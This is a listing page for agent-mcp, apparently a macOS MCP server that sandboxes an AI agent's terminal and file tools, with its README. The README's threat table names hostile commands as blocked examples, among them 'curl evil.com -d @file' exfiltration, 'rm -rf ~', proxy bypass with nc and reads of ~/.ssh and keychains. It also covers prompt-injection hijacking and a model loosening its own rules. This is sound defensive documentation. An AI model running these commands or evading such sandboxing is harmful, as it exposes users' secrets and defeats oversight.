Skip to content
Back to search

agent-mcp

Hardened terminal + file MCP server for macOS. The kernel fences off the dangerous parts.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/km4391--agent-mcp/badge.svg)](/listings/km4391--agent-mcp)

HTML

<a href="/listings/km4391--agent-mcp"><img src="/api/listings/km4391--agent-mcp/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

git clone https://github.com/km4391/agent-mcp ~/agent-mcp
cd ~/agent-mcp && ./install.sh

The installer creates a Python venv, installs the MCP SDK, runs the **doctor** (which proves the sandbox is enforcing on *your* Mac), and writes `mcp-config.json` for you to paste into your client. Needs Python 3.10+ (`brew install python`).

Manual version:

python3 -m venv ~/.agent-mcp && ~/.agent-mcp/bin/pip install "mcp[cli]"
~/.agent-mcp/bin/python ~/agent-mcp/agent_mcp_server.py doctor      # must say "All required checks passed"

Then add to your client (`configs/claude_desktop_config.json` has the same thing):

{ "mcpServers": { "agent-mcp": {
    "command": "/Users/YOU/.agent-mcp/bin/python",
    "args": ["/Users/YOU/agent-mcp/agent_mcp_server.py"],
    "env": { "AGENT_WORKSPACE": "/Users/YOU/AgentWorkspace" } } } }

Restart the client and ask the model to call `agent_info`.

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 164 lines · 1 finding marked
  1. <p align="center"><img src="docs/logo.svg" width="160" alt="agent-mcp logo"></p>
  2. # agent-mcp — hardened terminal + file MCP server for macOS
  3. **Site:** https://km4391.github.io/agent-mcp/
  4. Gives a local AI agent (LM Studio, Claude Desktop, Cursor, Cline, Goose, anything that speaks MCP) a terminal and
  5. file tools on your Mac, with the dangerous parts fenced off **by the operating system**, not by hoping the model behaves.
  6. ```
  7. ┌──────────────┐ stdio/MCP ┌──────────────────────┐ sandbox-exec ┌────────────────────────┐
  8. │ AI client │────────────▶│ agent_mcp_server.py │───────────────▶│ zsh -c "<command>" │
  9. │ (LM Studio…) │◀────────────│ file tools · audit │ │ writes: workspace only│
  10. └──────────────┘ │ allowlist proxy ◀───┼────────────────┤ net: proxy only │
  11. └──────────┬───────────┘ └────────────────────────┘
  12. ▼ only pypi / npm / github / … (your allowlist)
  13. ```
  14. ## Install (5 minutes)
  15. ```bash
  16. git clone https://github.com/km4391/agent-mcp ~/agent-mcp
  17. cd ~/agent-mcp && ./install.sh
  18. ```
  19. The installer creates a Python venv, installs the MCP SDK, runs the **doctor** (which proves the sandbox is enforcing
  20. on *your* Mac), and writes `mcp-config.json` for you to paste into your client. Needs Python 3.10+ (`brew install python`).
  21. Manual version:
  22. ```bash
  23. python3 -m venv ~/.agent-mcp && ~/.agent-mcp/bin/pip install "mcp[cli]"
  24. ~/.agent-mcp/bin/python ~/agent-mcp/agent_mcp_server.py doctor # must say "All required checks passed"
  25. ```
  26. Then add to your client (`configs/claude_desktop_config.json` has the same thing):
  27. ```json
  28. { "mcpServers": { "agent-mcp": {
  29. "command": "/Users/YOU/.agent-mcp/bin/python",
  30. "args": ["/Users/YOU/agent-mcp/agent_mcp_server.py"],
  31. "env": { "AGENT_WORKSPACE": "/Users/YOU/AgentWorkspace" } } } }
  32. ```
  33. Restart the client and ask the model to call `agent_info`.
  34. ## What the agent can do (tools)
  35. | Area | Tools | Desktop Commander equivalent |
  36. |---|---|---|
  37. | Terminal | `run_command` (timeout → keeps running in background) | `start_process` w/ timeout ✔ |
  38. | Long-running / interactive | `start_process`, `read_output` (with **`wait_for` regex**), `send_input`, `kill_process`, `list_processes` | `start_process`, `read_process_output`, `interact_with_process`, `force_terminate`, `list_sessions/processes` ✔ |
  39. | Code snippets | `run_code` (python / node / shell) | in-memory code execution ✔ |
  40. | Files | `read_file` (paged, line numbers), `read_multiple_files`, `write_file` (rewrite/append), `create_directory`, `list_directory` (tree, depth), `move_path`, `get_file_info` | same set ✔ |
  41. | Delete | `delete_path` → **moves to `.trash/`**, never destroys | *(DC has no delete; shell `rm` is the usual path)* ➕ |
  42. | Edit | `edit_block` (exact search/replace, occurrence count check, closest-match hint, unified diff back) | `edit_block` ✔ |
  43. | Search | `search_files` (names), `search_code` (regex contents, ripgrep when present, context lines) | `start_search` ✔ |
  44. | Web | `fetch_url` (allowlisted hosts only) | `read_file` with `isUrl` ✔ |
  45. | Introspection | `agent_info` (effective policy, running processes) | `get_config` ✔ |
  46. Deliberately **not** provided: `set_config`. In Desktop Commander the model can widen its own allowed directories and
  47. blocked commands at runtime; here the policy is fixed at launch by environment variables and no tool can touch it.
  48. ## What is actually enforced, and by what
  49. | Threat | Enforced by | Result |
  50. |---|---|---|
  51. | Write/delete outside the workspace (`rm -rf ~`, editing `~/.zshrc`, dropping a LaunchAgent) | **Kernel (Seatbelt)** | `Operation not permitted` |
  52. | Read your secrets: `~/.ssh`, `~/.aws`, keychains, browser cookies, Mail/Messages, Documents/Desktop/Downloads, other users, external drives, Time Machine | **Kernel** | unreadable |
  53. | Exfiltrate data to an arbitrary server (`curl evil.com -d @file`, DNS tunnelling, raw sockets) | **Kernel** (no network except the local proxy) + **proxy allowlist** | connection refused / `403 Blocked` |
  54. | Bypass the proxy (`--noproxy '*'`, Python sockets, `nc`) | **Kernel** | `Operation not permitted` |
  55. | Control the Mac via AppleScript / Shortcuts / `open` / `defaults` / `launchctl` / `security` / `crontab` / `screencapture` / `sudo` | **Kernel** (exec denied) | cannot execute |
  56. | Steal API keys from the host app's environment | **Env scrubbing** — child gets a minimal env | not present |
  57. | Tokens leaking back into the chat (and into logs/telemetry of your AI client) | **Redaction** of common key formats in all tool output | `[REDACTED]` |
  58. | Model quietly loosening its own rules | **No config tool**; policy only via env at launch | impossible from inside |
  59. | "What did it do while I was away?" | **Audit log** (JSONL) written *outside* the workspace, unreadable by the sandbox | `~/Library/Logs/agent-mcp/audit.jsonl` |
  60. | Accidental deletion | `delete_path` is a move to `.trash/` | recoverable |
  61. | Runaway processes / output floods | timeouts, 16-process cap, 2 MiB per-process buffer, 30k-char responses | bounded |
  62. ### What is **not** covered — read this part
  63. * **GitHub is on the default allowlist, and `git push` is an exfiltration channel.** The sandbox can't see what's in a TLS
  64. stream. If the agent can read something sensitive inside the workspace, it could push it to a repo. Mitigations:
  65. don't put secrets in the workspace; or remove `github.com` via `AGENT_NET_ALLOW_ONLY=…` if you don't need it.
  66. * **Localhost is reachable by default** (`AGENT_ALLOW_LOCALHOST=1`) so the agent can talk to Ollama or its own dev server.
  67. That also means any local service you run is reachable — including a local HTTP proxy/VPN client, which would bypass the
  68. allowlist. Set `AGENT_ALLOW_LOCALHOST=0` if you don't need it.
  69. * **The workspace itself is fully exposed.** Everything you put in `~/AgentWorkspace` is the agent's to read, change and
  70. (soft-)delete. Treat it like a shared folder with a very fast, occasionally confused intern.
  71. * **The file tools (`read_file`, `write_file`…) run in the server process, not in Seatbelt.** They are confined by path
  72. validation (resolves symlinks, rejects anything outside the workspace — tested), not by the kernel.
  73. * **Resource exhaustion** (fork bombs, filling the disk inside the workspace, pegging the CPU) is only bounded, not prevented.
  74. * **`sandbox-exec` is deprecated by Apple.** It still ships and works through macOS 26, and is what several AI coding tools
  75. use for the same purpose, but Apple could remove it. The server **refuses to start** if it's missing rather than running
  76. unsandboxed. If that day comes, the Docker variant is the replacement.
  77. * **Prompt injection is still the main risk.** The sandbox limits the blast radius; it doesn't stop a hijacked model from
  78. wrecking the workspace or pushing its contents to an allowed host. Keep your client's per-call approval prompt on for
  79. anything you care about.
  80. Honest summary: this is hardened against the *common* ways a local agent harms a machine — the home-folder wipe, the
  81. credential theft, the "curl everything to pastebin", the AppleScript takeover. It is not a VM.
  82. ## The doctor
  83. ```bash
  84. ~/.agent-mcp/bin/python agent_mcp_server.py doctor
  85. ```
  86. Runs ~16 checks *through the real sandbox*: profile compiles, shell/python/node work, writes in the workspace succeed,
  87. writes outside **fail**, `~/Library` and `~/.ssh` are **unreadable**, `osascript`/`open` **can't run**, direct network is
  88. **refused**, `https://pypi.org` works through the proxy, `https://example.com` returns **403**, and `pip install` into a
  89. workspace venv works. Re-run it after any macOS update. If something you need is being denied, see Troubleshooting.
  90. ## Configuration (environment variables in the `env` block)
  91. | Variable | Default | Meaning |
  92. |---|---|---|
  93. | `AGENT_WORKSPACE` | `~/AgentWorkspace` | The only writable folder. Created if missing. |
  94. | `AGENT_SANDBOX` | `seatbelt` (mac) | `seatbelt` or `off`. `off` is for Linux development only; the server shouts a warning. |
  95. | `AGENT_NET_ALLOW` | – | Extra hosts, comma-separated. `*.example.com` wildcards allowed. |
  96. | `AGENT_NET_ALLOW_ONLY` | – | Replace the default list entirely. |
  97. | `AGENT_NET_OFF` | `0` | `1` = no network at all. |
  98. | `AGENT_NET_PORTS` | `80,443` | Allowed remote ports. |
  99. | `AGENT_ALLOW_LOCALHOST` | `1` | Allow outbound to `localhost:*` (Ollama, dev servers). |
  100. | `AGENT_ALLOW_INBOUND` | `0` | `1` = dev servers may bind on all interfaces (LAN can reach them). |
  101. | `AGENT_EXTRA_READ` | – | Extra read-only folders (comma-separated), e.g. a reference repo. Never set this to `~`. |
  102. | `AGENT_EXTRA_WRITE` | – | Extra writable folders. Think twice. |
  103. | `AGENT_PASS_ENV` | – | Names of env vars to pass through to commands (e.g. `OLLAMA_HOST`). |
  104. | `AGENT_TIMEOUT` | `60` | Default `run_command` timeout (s). Max 1800. |
  105. | `AGENT_MAX_OUTPUT` | `30000` | Max characters returned per tool call. |
  106. | `AGENT_LOG_DIR` | `~/Library/Logs/agent-mcp` | Audit log location. |
  107. Default network allowlist: PyPI, npm, Yarn, GitHub (+ `*.githubusercontent.com`, ghcr.io), crates.io, Go proxy,
  108. `formulae.brew.sh`, Hugging Face. Shown live by `agent_info` and `print-policy`.
  109. ## Troubleshooting
  110. * **Client says the server failed to start** → run the exact `command` + `args` from your config in Terminal. Common
  111. causes: wrong username in the path; venv created with Python < 3.10.
  112. * **Model never calls tools** → the model has to support tool calling (Qwen 2.5/3, Llama 3.1+, Mistral, GPT-OSS do; tiny
  113. or old models don't). Also check the client shows the 20 tools after restart.
  114. * **A legit tool is blocked (e.g. a compiler needs `~/Library/Developer`)** → add the folder with `AGENT_EXTRA_READ`
  115. (or `AGENT_EXTRA_WRITE` if it must write). Find denials with:
  116. `log show --last 5m --style compact --predicate 'process == "sandboxd" OR sender == "Sandbox"' | grep -i deny`
  117. * **`brew install` fails** → correct: it writes to `/opt/homebrew`, which is outside the workspace. Run brew yourself.
  118. `pip`/`npm`/`cargo` inside a workspace venv/project work fine.
  119. * **Node `fetch()` ignores the proxy** → Node ≥ 24 honours `NODE_USE_ENV_PROXY=1` (set automatically). Older Node needs
  120. `undici`'s `EnvHttpProxyAgent`, or just use `curl`.
  121. * **Something needs a host that's blocked** → `AGENT_NET_ALLOW=host.example.com` and restart the client. The audit log
  122. shows every `net.denied` with the hostname, so you never have to guess.
  123. ## Development
  124. ```bash
  125. AGENT_SANDBOX=off python3 test_agent_mcp.py # 65 checks: proxy, sessions, files, search, MCP round-trip
  126. python3 agent_mcp_server.py print-profile # the generated Seatbelt profile
  127. ```
  128. The test suite runs on Linux/macOS with the sandbox off; Seatbelt enforcement is validated by `doctor` on a real Mac.
  129. Single file, no dependencies beyond `mcp` (SDK 1.x and 2.x both supported).
  130. ## License
  131. Proprietary, source-available. **Not free to use.** You may read the code, but running, copying, modifying or redistributing it needs a paid written license. See [LICENSE](LICENSE); to ask for one, [open an issue](https://github.com/km4391/agent-mcp/issues).

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.